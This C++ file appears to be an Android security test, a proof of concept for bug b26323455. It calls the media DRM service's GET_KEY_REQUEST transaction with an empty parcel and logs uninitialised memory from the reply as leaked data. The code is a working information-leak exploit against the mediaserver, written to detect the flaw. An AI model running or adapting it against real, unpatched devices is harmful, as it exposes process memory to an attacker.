/** * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include using namespace android; int INFO_LEAK_BUFFER_SIZE = 256; int doInforLeakTest() { sp sm = defaultServiceManager(); sp mediaPlayerSevice = sm->checkService(String16("media.player")); sp iMediaPlayerService = IMediaPlayerService::asInterface(mediaPlayerSevice); Parcel data, reply; data.writeInterfaceToken(iMediaPlayerService->getInterfaceDescriptor()); IMediaPlayerService::asBinder(iMediaPlayerService) ->transact(2 /*MAKE_DRM*/, data, &reply); //MAKE_DRM : 2 (N & O branch), 6 (M Branch) sp iDrm = interface_cast(reply.readStrongBinder()); Parcel data2, reply2; data2.writeInterfaceToken(iDrm->getInterfaceDescriptor()); IDrm::asBinder(iDrm)->transact(7 /*GET_KEY_REQUEST*/, data2, &reply2); reply2.readInt32(); reply2.readInt32(); unsigned int leaked = reply2.readInt32(); ALOGE("leaked data: 0x%08x", leaked); return (leaked == 0 ? 0 : 1); } int main(void) { int leaked = 0; for (int i = 0; i < 20; i++) { leaked = doInforLeakTest(); if (leaked) { ALOGE("IOMX_InfoLeak b26323455"); break; } } return 0; }